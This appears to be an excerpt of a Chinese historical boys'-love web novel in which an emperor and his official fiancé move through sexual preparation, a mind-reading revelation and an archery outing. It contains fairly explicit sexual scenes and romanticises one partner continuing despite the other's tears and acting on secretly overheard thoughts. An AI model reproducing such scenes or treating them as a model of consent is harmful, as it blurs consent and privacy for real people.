林砚脑海里不受控制地掠过某些模糊却惊心的概念,呼吸都滞了滞,他并非全然懵懂,正因知晓些许,才更觉面红耳赤,手足无措。 “所以……”林砚声音微颤,“你要我……用这个?” 萧彻将瓷瓶与玉器轻轻推至他面前,动作自然得如同递过一卷书册:“从今日起,可慢慢尝试,务必以你自身感受为重,若有任何不适,即刻停下。” 林砚盯着眼前这两样东西,只觉得热气不断上涌,几乎要将他吞没。 他挣扎道:“或许,也不必如此刻意?到时顺其自然……” “含章。”萧彻打断他,声音却坚定,“此事关乎你自身,不可轻忽,我不愿你有分毫勉强或痛楚。” 看着林砚红透的脸,萧彻放软了语调,轻声道:“听话,嗯?” 道理林砚并非不懂,只是这过程本身,已足够让他羞窘难当。 理智以及对未知的隐隐畏惧告诉他,萧彻的考虑不无道理,既已决定携手,有些准备,或许确实必要。 最终,在巨大的羞赧与一丝认命般的妥协交织下,林砚伸出手,飞快地将瓷瓶与玉器抓了过来,紧紧攥在掌心。 “我、我自己来。”林砚偏过头,声如蚊蚋,固执地维护最后一点颜面。 萧彻从善如流地点头:“好,我去外间,若有需要,随时唤我。” 说罢,萧彻果真起身,步履平稳地走出静室,还细心地将门扉轻轻合拢。 门扉闭合的轻响传来,林砚像是骤然脱力,跌坐在软榻上,将滚烫的脸颊埋进微凉的锦缎中,无声地吁出一口灼热的气息。 太煎熬了。 林砚做了许久心理准备,才慢吞吞地坐直身子,开始研究那两样物件的用法。 过程……暂且不提。 总之,当林砚依照萧彻先前简略提过的要点,勉强完成了那所谓的适应步骤后,他只觉得浑身都透着不自在,连呼吸都带着羞意。 玉质温润,起初微凉,渐次染上体温,存在感鲜明得让人无法忽视。 林砚老实待在房中,哪儿也不敢去,行动间都带着几分小心翼翼的僵硬。 到了晚间,那玉器已完成了它的使命,被妥善处理。 林砚瘫在榻上,望着帐顶繁复的花纹,心中五味杂陈。 萧彻来得恰到好处。 他先是细致询问了林砚的感受,确认无碍后,才坐到榻边。 萧彻伸出手,指尖温暖,动作轻柔至极,带着明确的安抚与试探意味。 比起器物,带着体温的触碰更令人心慌。 林初时浑身紧绷,羞得连脚趾都蜷起,紧紧咬着唇不肯泄露一丝声响。 可萧彻极有耐心,指尖每一次的抚触都谨慎而温和,不带丝毫狎昵,反而有种珍视的意味。 渐渐的,陌生的暖意自心口悄然蔓延,细密如春溪解冻,流淌向四肢百骸。 林砚睫毛轻颤,下意识攥住了萧彻的衣袖,将发热的脸颊抵在对方肩头,仿佛这样便能藏起此刻翻涌的心绪。 ……………… 林砚伏在萧彻怀中微微平复呼吸,只觉眼角有些潮湿。 萧彻轻轻为他拢好衣襟,拭去他额间细微的汗意,动作轻柔得像对待易碎的瓷器。 “还好么?”萧彻低声问,指尖将他一缕微湿的发丝别到耳后。 林砚点了点头,却说不出话,只将发烫的耳廓更深的藏进那令人安心的阴影里。 待他缓过神,萧彻已用柔软的布巾为他拭去薄汗,动作轻柔得像对待易碎的瓷器。 看着林砚绯红未褪的脸颊和迷蒙的眼眸,萧彻唇角漾开一抹满意的弧度,语气却依旧端正:“看来尚可,下次再试试。” 林砚一听,残存的羞恼涌上,抬脚不轻不重地踢了萧彻一下,声音沙哑带嗔:“……走开。” 萧彻低笑,轻易握住林砚纤细的脚踝。 温热的掌心贴着肌肤,带着暖意。 他俯身,将试图躲闪的林砚圈进怀中,低头吻住那微微红肿的唇。 这个吻温柔而绵长,带着满满的怜爱与珍惜,悄然驱散了先前所有的紧张与羞窘。 林砚起初还推了推,很快便在那熟悉的沉水香与令人安心的怀抱中软化下来,任由这个吻加深,只在心里迷迷糊糊地记了一笔。 萧彻这个混蛋,准备得太充分,也不是什么好事! 林砚想,他应该给自己点一首歌——狼爱上羊。 萧彻就是那狼,还是个色狼。 哼—— 作者有话说:把这一章重新写了,耽误大家看文了,为了表示歉意,在这一章的作话补一个番外 丹园的秋色正盛。 层林尽染的红枫,金桂残留的甜香,还有廊下新挂的几笼画眉清脆的啼鸣,将这个属于林砚与萧彻的家装点得既清雅又温馨。 成亲许久,林砚却时常生出一种微妙的不真实感。 倒不是对这段关系本身——他与萧彻的感情在日复一日的厮守中愈发深厚,彼此一个眼神便能领会心意,夜里相拥而眠时那份踏实与温暖,是做不得假的。 让他困惑的,是某些过于巧合的瞬间。 譬如前几日,工部一位姓刘的郎中因儿子在酒楼与人斗殴致人重伤,被御史台弹劾教子无方、纵容行凶,朝议时,几位大臣争执不休,有人认为该严惩以儆效尤,有人则觉得刘郎中多年来勤恳务实,功绩可表,其子虽有过错,但念及其父辛劳,应从轻发落。 林砚当时站在队列里,听着两方辩论,心里其实有自己的想法。 【刘郎中这人确实还算实干,工部修河堤那会儿,他三个月泡在工地上没回家,晒脱了一层皮,可他那个儿子,啧,听说从小被祖母溺爱长大,要星星不给月亮,刘郎中又常年在外办差,疏于管教,如今闯下大祸,难道做父亲的就没有责任?子不教,父之过啊,只是这话说出来,难免被同僚认为刻薄,毕竟刘郎中确实不易……】 林砚正暗自琢磨,还未想好如何措辞既能维护法度又不失人情,就听御座之上,萧彻清冷的声音响起:“刘衡教子无方,纵子行凶,有失父责,着降职一级,罚俸半年,其子依律交由京兆尹论处,另,命其将老母送回老家奉养,不得再留于京城溺爱幼孙。” 这判决可谓精准地戳中了林砚心中所想——既处罚了刘郎中的失职,又考虑到他确有苦劳未一撸到底,更关键的是,点明了“祖母溺爱”这个症结。 林砚当时微微一愣,下意识抬眼看向萧彻。 萧彻正垂眸翻阅下一本奏章,神情平静无波,仿佛刚才那句裁决只是随口道来,并无深意。 巧合吧? 林砚想。 他家陛下本就圣明,能想到这一层也不奇怪。 可类似的巧合,在接下来的日子里频频发生。 林砚想吃城西李记的核桃酥,只是心里闪过这个念头,晚膳时那道点心便会出现在桌上;他批阅文书时觉得脖颈酸痛,刚想活动一下,萧彻的手就会适时地按上他的后颈,力道恰好地揉捏;甚至他在丹园散步时,多看了某株晚开的菊花两眼,第二天那盆花就会被挪到书房窗下。 最让林砚心里打鼓的,是床笫之间。 自从成亲那夜后,两人在情事上愈发契合,萧彻总能精准地捕捉到林砚那些羞于启齿的渴望。 事情要从褚晔送的那些“学习资料”说起。 成亲前,褚晔本着“为兄弟幸福负责”的态度,陆陆续续塞给林砚不少从赫连锋商队里搜罗来的“好东西”——有海外番邦的春宫画册,图文并茂,姿势奇诡;有西域传来的香膏秘药,据说能增趣助兴;甚至还有几卷不知从哪个渠道弄来的话本子,描写之大胆,让林砚这个穿越来的现代人都看得面红耳赤。 林砚翻阅了几次,不得不说,古人在享乐方面的想象力,着实不容小觑。 某些画面和描述,在林砚脑海中留下了深刻印象,偶尔夜深人静时,会不受控制地浮现出来,伴随着对萧彻的喜欢,滋生出隐秘的念头——他想试试。 但林砚脸皮薄,无论如何也开不了口跟萧彻说“我们试试这个姿势”或者“用用那个香膏”。 然而,诡异的事情发生了。 就在林砚某日看完一卷描绘“鸳鸯交颈,红绳系腕”情节的话本后,当晚,萧彻在亲吻他时,不知从哪儿摸出一条柔软光滑的红色丝绳。 那丝绳质地极佳,触感冰凉柔滑,在烛光下泛着细腻的光泽。 萧彻用那双执朱笔、定乾坤的手,慢条斯理地将丝绳绕过林砚的手腕,松松地系了一个活结。 动作间,萧彻的目光深邃,唇角噙着笑意。 林砚当时就懵了,心脏狂跳,血液直冲头顶。 这、这怎么跟他之前看的那段描写那么像?! “昭、昭临……”林砚声音都颤了,“这、这是做什么?” 萧彻低头,吻了吻林砚被丝绳轻缚的手腕内侧,那里脉搏正剧烈跳动。 “我见含章近日似乎有些倦怠,想添些趣味。”萧彻的声音低哑,很少蛊惑,“不喜欢?” 林砚哪会说不喜欢? 实际上,那微妙的束缚感,混合着萧彻唇瓣的温热触感,以及被全然掌控的心悸,瞬间点燃了林砚所有的感官,比话本上干巴巴的文字描述刺激了不知多少倍。 那晚的经历,堪称颠覆。 自那以后,仿佛打开了某个开关。 林砚心里模糊掠过画册上某个缠绵的姿势,下次萧彻便会引导着他尝试;他偶然想起香膏的描述,没过两日,沐浴时就能闻到水中添了类似气味的精油;甚至他某次腹诽萧彻夜里索求无度害他腰酸,第二天醒来,萧彻竟难得地没有早起练武,而是搂着他一直睡到日上三竿,还亲自替他揉腰。 一次是巧合,两次是默契,三次四次……林砚再迟钝,也觉出不对了。 这已经不是心有灵犀能解释的了。 林砚开始暗自观察。 他试着在心里疯狂吐槽萧彻批奏章时皱眉的样子像老头子,结果萧彻下一秒就抬起头,挑眉看他:“含章觉得我老了?” 他试着在心里哼一段完全不属于这个时代的洗脑神曲,萧彻虽无反应,但过了一会儿,却莫名说了一句:“含章今日似乎心情甚好?” 最惊悚的一次,林砚在心里盘算着户部一笔糊涂账,想着该怎么跟萧彻汇报才能既说明问题又不显得自己因为工作而狂躁,结果萧彻听完他表面滴水不漏的陈述后,直接点出了几个关键数据错误和可能的漏洞,并道:“爱卿方才思虑的‘以退为进’之法虽稳妥,但此事关乎军饷,还是直陈为好,我信你。” 林砚当时后背冷汗都出来了。 萧彻该不会真的能听见他在想什么吧?! 林砚越想越觉得可能,否则,如何解释那些政事上精准的回应?如何解释私密时那些羞死人的巧合? 可这太匪夷所思了!听到心声? 林砚陷入了深深的怀疑和纠结中。 他想直接问,又怕万一不是,自己显得像个傻子,不问,心里又像揣了只猫,挠得他日夜不安。 这种纠结,在某个秋雨绵绵的午后,达到了顶峰。 那日休沐,林砚借口整理书房,其实是窝在丹园的书斋里,第N次翻阅褚晔“赞助”的那些宝贝。 其中有一本来自海外的画册,色彩浓艳,画风写实,描绘了许多闻所未闻的亲密方式。 林砚翻到其中一页,画面中一人被柔软的绸带缚住手腕,悬于床柱,姿态既脆弱又充满诱惑。 他的目光在那画面上停留了许久,心底不受控制地涌起一股跃跃欲试的情绪。 萧彻的手指修长有力,绑起绳结来一定很好看…… 停!打住! 林砚“啪”地合上画册,脸颊滚烫,做贼似的将其塞回书架最隐秘的角落,还用几卷厚重的《大渝律疏》严严实实地挡住。 他深呼吸几次,试图驱散脑子里那些乱七八糟的画面。 然而,有些念头一旦生出,便如野草蔓延,难以根除。 接下来的几天,林砚总是忍不住偷瞄萧彻的手。 批奏章时骨节分明的手,握笔时稳如磐石的手,抚过他肌肤时带着薄茧和热意的手……若是用绸带缠绕,系上一个精致的结…… 林砚猛地甩头,暗骂自己没出息。 可越是压抑,那画面越是清晰。 林砚甚至开始留意库房里有没有合适的绸带——要足够柔软,不会磨伤皮肤;要颜色好看,最好是萧彻常穿的玄色或是他自己偏爱的月白;要够长,能绕几圈,系个结实又优雅的结…… “林大人,您找什么?”库房管事见他探头探脑,殷勤地上前询问。 林砚像被踩了尾巴的猫,瞬间弹开,支吾道:“没、没什么,随便看看。”然后落荒而逃。 这种心神不宁的状态一直持续到下一次休沐。 夜里,红帐低垂,烛影摇动。 萧彻今晚似乎格外有耐心,亲吻缠绵悱恻,抚触细致入微,撩拨得林砚意乱情迷,浑身酥软。 就在林砚意识飘忽,几乎要沉溺时,萧彻忽然停下了动作。 林砚茫然地睁开水汽氤氲的眼睛,不解地望着他。 只见萧彻不知从何处,拿出了一条玄色暗纹的绸带。 那绸带质地极佳,在昏黄的烛光下流淌着幽暗的光泽,正是林砚这几日心心念念,想象过无数次的那种。 林砚的呼吸骤然停住,眼睛瞪得溜圆。 萧彻拿着绸带,慢悠悠地在指尖绕了绕,目光深邃地凝视着林砚,唇角微扬,语气平淡却带着不容错辨的深意:“含章近日,似乎对此物颇有兴趣?” “轰”的一声,林砚只觉得全身血液都冲到了头顶,脸颊、耳朵、脖子瞬间红透,连脚趾都蜷缩起来。 他、他怎么会知道?!连颜色都选的一模一样! 林砚张了张嘴,却发不出任何声音,羞窘和震惊让他脑子一片空白。 萧彻却不再多言,俯身靠近,温热的呼吸喷洒在他耳边,声音低哑:“我瞧着,这带子与含章甚配。” 接下来的事情,完全脱离了林砚的控制。 绸带绕过手腕时微凉的触感,系紧时恰到好处的束缚感,被萧彻引导着摆出画册上那个姿势时的羞耻与悸动……所有想象中的细节,都在萧彻手中一一实现,甚至比想象中更加令人战栗。 萧彻的动作依旧温柔,却带着一种全然的掌控和引导。 他仿佛知道林砚每一个细微的反应,每一次颤抖的缘由,总能在林砚即将承受不住时放缓,又在他渴望更多时给予。 那是一种极致的亲密,也是一种极致的“被看穿”。 当一切终于平息,林砚瘫软在凌乱的锦被中,手腕上还松松地绕着那截玄色绸带,浑身脱力,连指尖都懒得动弹,意识却异常清醒。 不对。 这绝对不对。 一次两次是默契,三次四次是了解,可这次连他偷偷想象了几天、连颜色质地都暗自揣摩过的绸带,都能精准地拿出来,这已经不是了解能解释的了。 除非…… 林砚缓缓转过头,看向身侧正用手臂环着他,有一下没一下轻抚他汗湿脊背的萧彻。 烛光下,萧彻的侧脸轮廓深邃俊美,神情餍足而温和,察觉到他的目光,也侧过头来,对上他的视线,眼中带着未散的情潮和清晰的温柔。 “怎么了?”萧彻的声音还带着事后的沙哑,格外性感,“可有不适?” 林砚盯着他,心跳如擂鼓。 他深吸一口气,鼓起毕生最大的勇气开口:“你为何会知道,我、我想用这个?” 林砚抬起还绑着绸带的手腕,轻轻晃了晃。 萧彻抚着他脊背的手微微一顿。 四目相对,帐内一片寂静,只有红烛燃烧时偶尔发出的轻微噼啪声。 萧彻看着林砚眼中那混合着羞愤、疑惑、紧张和丝豁出去的神情,沉默了片刻。 然后,萧彻轻轻叹了口气,那叹息声中,似乎有释然,也有无奈,更多的是一种“终于到了这一刻”的平静。 他伸手,小心地解开了林砚手腕上那个已然松散的结,将绸带抽走,随手放在枕边。 然后,萧彻将林砚往怀里搂了搂,让两人面对面,目光相接。 “含章。”萧彻的声音很轻,却字字清晰,“我若说,我能听见你心中所思所想,你可相信?” 时间仿佛在这一刻凝固了。 林砚呆呆地看着萧彻,大脑像是被重锤狠狠砸中,嗡嗡作响,一片空白。 能听见……心中所思所想? 心声? 那些大逆不道的吐槽?那些沙雕跳脱的脑补?那些对着上司同事甚至皇帝本人的疯狂输出?那些羞死人的、关于床笫之间的隐秘幻想? 全!都!被!听!到!了?! 比刚才情动时更凶猛的热浪席卷全身,林砚的脸颊、耳朵、脖子乃至全身的皮肤,都以肉眼可见的速度爆红,整个人像一只被煮熟后还在冒着热气的虾子。 极致的羞耻感如同海啸,瞬间将他淹没。 他想起了自己曾在心里骂萧彻“蝙蝠精托生”、“半夜鸡叫的周扒皮”;想起了他吐槽礼部同僚研究“夜光奏折玩法”、“公廨涮羊肉”;更想起了他那些关于春梦、关于画册、关于各种不可描述姿势的丰富联想…… 全!都!被!听!见!了! “啊啊啊啊啊!” 林砚猛地从萧彻怀里弹起来,也顾不上浑身酸软无力,连滚带爬地就往床最里面缩,手忙脚乱地扯过锦被,把自己从头到脚严严实实地裹了起来,裹成了一个密不透风、瑟瑟发抖的粽子。 萧彻:“……” 看着瞬间空了的怀抱,和床角那团鼓鼓囊囊的被子,萧彻一时有些哭笑不得。 他早知道坦白之后林砚反应会很大,但没想到这么大。 “含章?”萧彻试着伸手,想去碰那团“粽子”。 “你别过来!”被子里传来林砚闷闷的的声音,“你、你走开!让我一个人静静!不!让我死了算了!” 太丢人了!没脸见人了!他以后还怎么直视萧彻?怎么跟萧彻说话?怎么、怎么躺在一张床上?! 只要一想到自己过去那些内心戏全被当事人听得一清二楚,林砚就恨不得当场挖个地洞钻进去,或者干脆连夜扛着马车逃离这个星球。 萧彻看着那团自闭的“粽子”,又是心疼又是好笑。 他靠近一些,隔着被子轻轻拍了拍:“含章,先出来,别闷坏了。” “不出!死也不出!”林砚在被子里瓮声瓮气地喊,还把被子裹得更紧了些,“你、你什么时候开始能听见的?是不是从一开始?” 如果是那样……那他最开始那些“恪尽职守个鬼”、“夜光奏折玩法”、“涮羊肉味儿大”的吐槽,岂不是全被听到了?! 完了,彻底社死了。 萧彻沉默了一下,决定还是实话实说:“……是。” 被子里的林砚明显僵住了,然后颤抖得更厉害了。 “所以、所以你早就知道我心里在骂你?骂礼部?骂所有人?”林砚的声音带着难以置信的绝望,“你还、你还故意赏我东西?萧彻!你、你是不是有什么特殊的癖好?!” 说到最后,简直是悲愤交加。 萧彻终于忍不住低笑出声。 他的含章,连羞愤欲死的时候,脑回路都这么清奇可爱。 “我没有那种癖好。”萧彻耐心地解释,声音放得愈发柔和,“起初听见,确是惊讶,但后来……” 萧彻语气里带上了真切的笑意:“但后来我发现,含章的心声,比任何奏章、任何廷议都要有趣、鲜活,你骂同僚,让我知晓了许多台面下的事情,至于赏赐……” 萧彻伸手,隔着被子,轻轻揉了揉那团“粽子”大概头部的位置:“我赏你,是因为你值得,是因为我心悦你,与你心里骂不骂我,并无关系,相反……” 他的声音压低,带上了几分揶揄:“听你一边恭谨谢恩,一边在心里嘀咕,觉得甚是有趣。” “有趣你个鬼!”林砚在被子里闷声反驳,但气势明显弱了不少。 听起来萧彻好像并没有因此生气? “那、那后来呢?”林砚忍不住追问,声音依旧闷着,“你就一直听着?我说什么你都知道?我想什么你都知道?” “嗯。”萧彻应道,坦然承认,“所以我知道含章是断袖,知道含章梦里唤过我的名字,知道含章其实喜欢我送的红烧肉,知道含章看那些画册时……都在想什么。” “别说了!”林砚猛地打断他,刚刚退下去一点的热度又“噌”地冒了上来。 果然!连他偷偷看小黄书的心思都被知道了! 萧彻从善如流地停下,但眼底的笑意却更深。 他伸手找到被子的缝隙,用了些巧劲,开始慢慢地把那个固执的“粽子”从里面剥出来。 “萧彻!你放开!我不出来!”林砚挣扎,但刚经历一番情事,浑身乏力,哪里拗得过萧彻的力道。 很快,那颗毛茸茸的脑袋就被挖了出来,林砚还用手死死捂着脸,不肯见人。 萧彻握住他的手腕,温柔地将林砚的手拉开。 烛光下,林砚的脸颊绯红如醉,眼眶也红红的,不知道是羞的还是刚才闷的,睫毛湿漉漉地黏在一起,嘴唇微微肿着,整个人散发着一种被彻底欺负过后的委屈和脆弱,看得萧彻心头发软,怜爱不已。 “含章,看着我。”萧彻捧住林砚的脸,不让他再躲。 林砚被迫抬起眼,对上萧彻深邃温柔的眸子。 那里面没有戏谑,没有嘲弄,只有满满的深情。 “能听到你的心声,于我而言,是上天厚赐。”萧彻一字一句,说得极其认真,“若非如此,我或许永远不知你心中真实所想,不知你那些有趣的念头,不知你早已心悦于我,更不知……该如何才能真正让你欢愉。” 他低头,用额头轻轻抵着林砚的额头,呼吸相闻。 “含章,你说,若我听不见,岂不是无法知道你真正想要什么?岂不是会错过许多?”萧彻的声音低哑,带着蛊惑,“就像今晚,若我不知你心中所念,又如何能让你这般尽兴?” 最后两个字,几乎是贴着林砚通红的耳廓说出,满是温热的气息和浓浓的暗示。 林砚浑身一颤,刚刚平复些的心跳再次失序。 他想反驳,想说“我才没有尽兴”,可身体残留的极致快感和餍足感却让他说不出违心的话。 好像,确实是这么回事。 如果不是萧彻能听见,他那些羞于启齿的幻想,恐怕永远只能是幻想。 而萧彻,用这种“作弊”的方式,精准地满足了他所有隐秘的渴望。 “可是、可是这太不公平了!”林砚小声嘟囔,“你能知道我在想什么,我却不知道你在想什么。” “那含章想知道什么?”萧彻从善如流,“我都可以告诉你,我所思所想,从来都与你有关。” 林砚被这直白的情话噎了一下,脸颊更红,别开眼:“谁、谁想知道了?” “口是心非。”萧彻低笑,吻了吻林砚滚烫的脸颊,“不过,含章的心声,我也并非时时都能清晰听见,距离太远,或是你情绪极度平稳时,便听不真切,唯有你情绪波动,或是我离你极近时,方能清晰感知。” 林砚一愣,抬眼看他:“真的?”那他是不是还有一点隐私空间? “自然。”萧彻点头,目光诚恳,“所以含章不必觉得毫无秘密,况且……” 他话锋一转:“听含章在心里骂我,骂得花样百出,我也觉得是种乐趣,有时你骂得不够新颖,我还会想,是不是赏得不够多,才让含章词汇贫乏了。” “你!”林砚气得抬手捶了他一下,“你还得意上了!不要脸!” 萧彻顺势抓住林砚的手,贴在胸口,让他感受自己沉稳有力的心跳。 “要脸作甚?”萧彻凝视着他,目光灼灼,深情如海,“我只要含章。” 话音落下,不待林砚反应,萧彻便再次吻住了他的唇。 这个吻不同于之前的温柔试探或激烈索取,缠绵而深入,仿佛要将刚才那些尴尬、羞愤、不安都吻去,只留下最纯粹的爱意与占有。 林砚起初还象征性地挣扎了两下,但很快便在那熟悉的沉水香气和令人安心的怀抱中软化下来。 是啊,能听到心声又如何? 他知道自己所有的不堪、所有的吐槽、所有羞于见人的念头,却依然爱他,宠他,纵容他,想方设法地满足他。 这世间,还有比这更珍贵的情意吗? 至于公平……算了,跟皇帝讲什么公平。 反正这辈子,他是栽在这个能读心的皇帝手里了。 一吻方毕,两人气息都有些不稳。 萧彻抵着他的额头,低声问:“还生气吗?” 林砚把脸埋在他颈窝,闷闷道:“生气。” “那如何能不气?” “以后我想什么,你也不能全说出来!尤其、尤其是那些……那些乱七八糟的!”林砚红着脸要求。 “好。”萧彻爽快答应,“那含章可否答应我,日后心中若有何念想,可直接告知我?省得我总要‘猜’。” “谁、谁有念想了?”林砚嘴硬。 “没有吗?”萧彻的手不老实地滑进他松散的衣襟,意有所指地摩挲着某处敏感的肌肤,“那方才是谁,被绸带缚住时,颤得那般厉害?” “萧昭临!”林砚羞恼地抬头瞪他。 萧彻却笑了,笑容在烛光下俊美得惊心动魄。 他收紧手臂,将人牢牢锁在怀中,一个翻身,重新将人压进柔软的被褥里。 “夜深了。”萧彻的声音带着浓得化不开的情欲和笑意,“方才未尽之事,我觉得,还可再继续探讨一番。含章心里若有新想法,不妨现在想想?” “我没有!你……唔!” 未尽的话语,被炽热的吻彻底封缄。 红帐再次落下,掩去一室旖旎。 只隐约听见,那羞恼的呜咽声中,渐渐染上了情动的甜腻,与低沉愉悦的笑声交织在一起,最终化为了秋夜里最私密动人的和弦。 能听到心声又如何? 我知你、爱你所有真实。 你予我全部信任,我许你一生纵容。 第114章 第 114 章 大抵这便是花不醉人人…… 事实证明萧彻是对的, 提前做准备非常有必要。 林砚回想起自己最开始连最细小的那根药玉都需要龇牙咧嘴、做足半天心理建设才能勉强容纳的时刻,简直不堪回首。 那冰凉异物感初初侵入时带来的强烈不适和心理上的羞耻,让他好几次都想撂挑子不干。 但萧彻在这件事上展现了惊人的耐心和坚持, 总会用那双深邃的眼眸凝视着他, 手上动作却温柔又坚定,哄着他, 逼着他,一步步适应。 练习了一段时间后, 成果是显著的。 如今,林砚已经能够比较顺畅地放入那套药玉中最粗的一根了。 当然,这个过程依然离不开萧彻的“协助”和那瓶太医院特制带着清雅兰花香的润滑膏体。 不过,最粗的药玉也才堪堪两根手指并拢的粗细,对于萧彻那明显天赋异禀的尺寸而言, 似乎仍显得有些“预备不足”。 所以,萧彻还是没少用自己的手指帮林砚进行更深层次的“适应性训练”,最多的时候,他甚至加到了三根手指。 林砚当时感觉自己快要裂开了,那种被强行撑开、饱胀到极致的感觉让他头皮发麻,脚趾都蜷缩起来, 带着哭腔骂萧彻是混账王八蛋。 萧彻一边吻去他眼角的湿意, 一边低声安抚,动作却丝毫没有停下的意思, 美其名曰“巩固成果”。 也因此,两人在床笫之间的互动,早已从最初单纯动动嘴和手的阶段,进化到了更深入、更亲密无间的层次。 虽然最后那步始终恪守着“留待洞房”的承诺,但彼此的身体早已熟悉了对方的温度和触碰, 只差那临门一脚。 时间一晃就到了八月,中秋婚期将近。 在一个秋高气爽的休沐日,萧彻兑现了之前的承诺,要带林砚去城外跑马骑射。 如今他们是明面上的未婚夫夫,萧彻每次来林府接人都正大光明,还会带上不重样的礼物。 林承稷和文韫从一开始的受宠若惊到如今的习以为常,只有林墨,每次见到这位皇帝“嫂子”都眼睛亮晶晶的,彻底被那些精巧的宫制点心和新奇玩意儿拿捏住了。 马车一路驶出京城,到了西郊的皇家围场。 这片围场面积辽阔,草木丰茂,大渝与狩猎相关的大型活动都在此举行。 不过萧彻今日带林砚来并非为了狩猎,纯粹是来跑马散心,实践当初说要教他射箭的承诺。如今天气凉爽,正是实施计划的好时候。 围场边缘有一片不小的桂花林,此时正值花期,金灿灿的小花簇拥在枝头,馥郁的香气浓郁得几乎化不开,一片林子联合起来散发出的香味更是了不得,仿佛空气都被蜜糖浸过,呼吸间满是甜香,令人心旷神怡。 李德福早已带着宫人提前布置好了一切,在桂花林旁选了处平坦通风的空地,铺开了厚实的毡毯,摆上了矮几和舒适的坐垫。 矮几上放置着各色时令水果、精致的糕点和温好的酒水,全都是御膳房精心准备的当季最新鲜的吃食。 萧彻先带着林砚去马厩牵了“拂云”。 经过一段时间的相处,林砚与这匹温顺的白马已颇为熟稔,他亲昵地拍了拍拂云的脖颈,拂云也友好地蹭了蹭他的手心。 “来,今天先教你射箭。”萧彻命人取来他送给林砚的那把银丝琥珀弓,拉着林砚走到一片开阔的箭道前。 其实,教学射箭只是个由头,跟未婚夫贴贴才是皇帝陛下的首要目的,所以整个教学过程充满了各种“必要”的亲密接触。 萧彻从背后环住林砚,一手扶着他的腰,一手握住他搭弓的手,几乎是贴着林砚的耳朵讲解如何站位、如何搭箭、如何开弓、如何瞄准。 温热的呼吸喷洒在林砚敏感的耳廓和颈侧,带着沉水香的气息,搅得林砚心思浮动,老是忍不住想到些别的画面,比如前晚萧彻的手指是如何…… “专心。”萧彻似乎察觉到了他的走神,低笑着用下巴蹭了蹭他的发顶,手臂收得更紧了些。 林砚耳根微红,强行拉回思绪,努力将注意力放在弓箭上。 不过,萧彻的水平毕竟摆在那里,虽然教学动机不纯,但指导还是相当到位的。 林砚本身也不算笨拙,很快就能在他的调整下,摆出完全标准像模像样的拉弓姿势,肩、肘、手的角度都恰到好处。 只是林砚没有习武的底子,臂力、指力和腰腹的核心力量都远远不足,弓弦拉开到一定程度就感觉手臂发酸发抖,瞄准更是难以维持稳定。 射出的箭轻飘飘的,刚开始连箭靶的边都碰不到,直接扎进了靶前的草地里,练了好一会儿,才能勉强触到箭靶的边缘,离靶心还差着十万八千里。 然而,萧彻是个十足的溺爱型“教练”,无论林砚射出的成绩多么惨不忍睹,他都能面不改色地找出角度夸赞。 “含章悟性真好,这姿势一次就到位了。” “不错,这次比上次更有力了。” “看,碰到靶子了,进步神速。” 林砚被他夸得都有些不好意思了,忍不住小声吐槽:“陛下,你这也太夸张了,明明差得远呢。” 萧彻却一脸正色:“朕从不虚言,含章初学便能如此,已是极有天赋。” 他甚至还转头问站在不远处伺候的李德福:“李德福,你说,林侍郎是否学得很快?” 李德福立刻呲着个大牙,脸上笑出一堆褶子,忙不迭地附和:“是极是极!林大人天资聪颖,奴才瞧着,这拉弓的架势,颇有陛下当年的风范呢!这才多久就能箭矢上靶,假以时日,必定百发百中!” 林砚看着这一主一仆一唱一和,疯狂给自己戴高帽,内心简直无力吐槽。 行吧,你们高兴就好。 怕不是情人眼里出西施,菜鸟也能夸成神射手。 看着林砚心里那点心思,萧彻眼底的笑意更深,继续他的夸夸教学。 练了约莫半个时辰,林砚已是手臂酸软,额角见汗,萧彻便叫了停,牵着他回到桂花林边的毡毯上休息。 两人并肩坐在毡毯上,享受着秋日午后的阳光和沁人心脾的桂花甜香。 李德福贴心地将温好的酒和点心送到他们手边,然后又笑眯眯地退到不远处,看着二人一个递水一个擦汗的甜蜜互动,内心无比欣慰,真是年纪越大越喜欢看这种有情人终成眷属的场面。 萧彻拈起一块桂花糕递到林砚嘴边,林砚就着他的手咬了一口,软糯清甜,满口留香。 “累了就歇会儿,等下朕带你骑着拂云在附近逛逛,不必跑快,看看风景就好。”萧彻看着他微红的脸颊,柔声道。 林砚点点头,靠在萧彻身上,看着眼前金黄一片的桂花林,闻着浓郁的花香,感受着身边人传递过来的温暖和安心,只觉得岁月静好,莫过于此。 靠着软垫,吃着清甜的梨子,看着远处开阔的景色,感受着身边人无微不至的照顾,只觉得通体舒泰,连昨日那点“训练”带来的不适都抛到了脑后。 他忽然想起一事,凑近萧彻,压低声音问:“说起来,那个药玉,还有手指……你怎么懂得那么多?”他还是没忍住问出了这个困扰他已久的问题。 萧彻正在剥葡萄的手微微一顿,抬眸看他,眼底闪过一丝不易察觉的笑意,随即又恢复平静,将剥好的葡萄递到他嘴边,语气寻常:“朕是皇帝。” 林砚:“???” 这算什么回答?皇帝就该懂这些吗?哪本圣贤书教这个? 见林砚一脸懵,萧彻慢条斯理地擦干净手,才低声道:“宫中自有相关记载与图示,朕翻阅过” 萧彻目光落在林砚因疑惑而微张的唇上:“朕虽无实践经验,但理论尚可,且……” 他凑得更近,声音压得极低,带着气音拂过林砚耳畔:“事关含章,朕自然要事事周全,仔细钻研,力求万无一失。” 林砚的脸“腾”地一下全红了。 宫中记载?图示?仔细钻研?! 萧彻果然是背着他补课了! 大!猪!蹄!子! 看着林砚爆红的脸和震惊的眼神,萧彻忍不住低声笑了起来,伸手将人揽入怀中。 桂花香气浓郁,秋风送爽,远处天高云淡。 林砚靠在萧彻怀里,听着他沉稳的心跳,闻着混合了沉水香与桂花甜香的熟悉气息,心里那点羞窘渐渐化为了难以言喻的安心与甜蜜。 他抬起头,在萧彻下颌上轻轻啄了一下,小声说:“萧昭临,你真好。” 萧彻收紧了手臂,低头吻了吻他的发顶。 “不及含章万分之一。” 休息够了,林砚感觉手臂的酸软缓解了不少,跃跃欲试地看向正在不远处悠闲吃草的拂云。 “陛下,我们去跑跑马吧?”他扯了扯萧彻的衣袖。 萧彻自然无有不从,牵起他的手走向拂云。 “今日不另备马了,我与含章同乘拂云即可。”萧彻说着,很自然地揽住林砚的腰,稍一用力,便将他托上了马背。 林砚低呼一声,下意识地抓住了马鞍前的突起,拂云性子温顺,只是轻轻甩了甩尾巴,稳稳地站着。 紧接着,萧彻利落地翻身而上,稳稳坐在了林砚身后。 马鞍对于两个成年男子来说略显拥挤,萧彻的前胸紧密地贴合着林砚的后背,双臂从他身侧绕过,自然而然地握住了缰绳。 这个姿势,几乎是将林砚完全圈在了自己怀里。 